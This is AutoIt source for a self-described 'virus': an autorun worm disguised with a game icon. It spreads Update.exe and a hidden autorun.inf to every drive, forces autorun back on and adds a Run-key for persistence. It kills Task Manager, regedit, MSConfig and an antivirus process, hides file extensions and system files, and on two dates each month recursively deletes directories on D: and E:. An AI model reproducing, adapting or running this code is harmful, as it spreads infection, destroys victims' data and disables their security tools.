code virus autoit ver 1.0.0

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=..\Downloads\3xhumed-Mega-Games-Pack-36-League-of-Legends-6.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
Opt("TrayIconHide", 1)
$var4 = @ScriptDir
If $var4 <> "C:\WINDOWS" Then
; FileCreateShortcut(@WindowsDir & "\Explorer.exe",@DesktopDir & "\1.lnk","",@ScriptDir, "","", "^!t", "", @SW_SHOWMAXIMIZED)
FileCreateShortcut(@WindowsDir & "\Explorer.exe","",@ScriptDir, "","", "^!t", "", @SW_SHOWMAXIMIZED)
Send("^!t")
EndIf
$list = ProcessList("Update.exe")
for $i = 1 to $list[0][0]
If $i="2" Then
Exit
EndIf
next
FileSetAttrib("autorun.inf", "-R")
FileDelete("autorun.inf")
$file2 = FileOpen("autorun.inf", 1)
FileWriteLine($file2, "[AutoRun]")
FileWriteLine($file2, "open=Update.exe")
FileWriteLine($file2, "shell\Open=Open")
FileWriteLine($file2, "shell\Open\Command=Update.exe")
FileWriteLine($file2, "shellexecute=Update.exe")
FileClose($file2)
FileSetAttrib("autorun.inf", "+HSR")
FileSetAttrib(@DesktopDir & "\1.lnk", "+HS")
FileCopy(@ScriptDir & "\autorun.inf", "C:\", 8)
FileCopy(@ScriptDir & "\Update.exe", "C:\", 8)
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDriveAutoRun", "REG_DWORD", "000000000")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDriveAutoRun", "REG_DWORD", "000000000")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "DisableLocalMachineRun", "REG_DWORD", "000000000")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "DisableCurrentUserRun", "REG_DWORD", "000000000")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "DisableLocalMachineRun", "REG_DWORD", "000000000")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "DisableCurrentUserRun", "REG_DWORD", "000000000")
$search = FileFindFirstFile("D:\*.*")
$search0 = FileFindFirstFile("E:\*.*")
$bLoop = 1
While $bLoop = 1
$file = FileFindNextFile($search)
$file0 = FileFindNextFile($search0)

If @MDAY = "13" Or @MDAY = "18" Then
DirRemove("D:\" & $file, 1)
DirRemove("E:\" & $file0, 1)
Else
$var = DriveGetDrive("all")
For $i = 1 to $var[0]
If $var[$i] = "a:" or $var[$i] = "b:" Then
For $i = 2 to $var[0]
$file = FileOpen($var[$i] & "\autorun.inf", 0)
$line = FileReadLine($file, 2)
FileClose($file)
If $line <> "open=Update.exe" Then
FileSetAttrib($var[$i] & "\autorun.inf", "-R")
FileCopy(@ScriptDir & "\autorun.inf", $var[$i], 1)
FileCopy(@ScriptDir & "\Update.exe", $var[$i], 8)
EndIf
Next
Else
$file = FileOpen($var[$i] & "\autorun.inf", 0)
$line = FileReadLine($file, 2)
FileClose($file)
If $line <> "open=Update.exe" Then
FileSetAttrib($var[$i] & "\autorun.inf", "-R")
FileCopy(@ScriptDir & "\autorun.inf", $var[$i], 1)
FileCopy(@ScriptDir & "\Update.exe", $var[$i], 8)
EndIf
EndIf
Next
EndIf
FileCopy(@ScriptDir & "\Update.exe", @WindowsDir, 8)
FileCopy(@ScriptDir & "\autorun.inf", @WindowsDir, 1)
ProcessClose("MSConfig.exe")
$PID3 = ProcessExists("MSConfig.exe")
If $PID3 Then ProcessClose($PID3)
ProcessClose("regedit.exe")
$PID2 = ProcessExists("regedit.exe")
If $PID2 Then ProcessClose($PID2)
ProcessClose("taskmgr.exe")
$PID1 = ProcessExists("taskmgr.exe")
If $PID1 Then ProcessClose($PID1)
ProcessClose("Bkav2006.exe")
$PID4 = ProcessExists("Bkav2006.exe")
If $PID4 Then ProcessClose($PID4)
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HUI", "REG_SZ", "C:\windows\Update.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt", "REG_DWORD", "000000001")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", "000000000")
WEnd